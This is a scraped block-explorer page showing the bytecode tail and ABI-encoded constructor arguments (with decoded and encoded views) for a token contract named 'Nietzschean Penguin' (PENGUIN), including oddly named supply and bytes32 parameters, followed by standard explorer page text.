8d6beefd3d63a3aa9d6bd64736f6c63430008180033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000007728c7aea512e22f27a50a575c319c2404949cbd00000000c5b9a1bb672877de05e19649e1447b7d85eeb626b973791afa3b29fac932930200000000000000000000000000000000000000000000000000000000000000134e6965747a73636865616e2050656e6775696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000750454e4755494e00000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): Nietzschean Penguin
Arg [1] : _symbol (string): PENGUIN
Arg [2] : maxSupply_ (uint256): 1000000000
Arg [3] : _maxSupply (uint256): 2921777458643918783577657069600958288551960146432034340864
Arg [4] : max__ (bytes32): 0xc5b9a1bb672877de05e19649e1447b7d85eeb626b973791afa3b29fac9329302
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 00000000000000007728c7aea512e22f27a50a575c319c2404949cbd00000000
Arg [4] : c5b9a1bb672877de05e19649e1447b7d85eeb626b973791afa3b29fac9329302
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000013
Arg [6] : 4e6965747a73636865616e2050656e6775696e00000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [8] : 50454e4755494e00000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)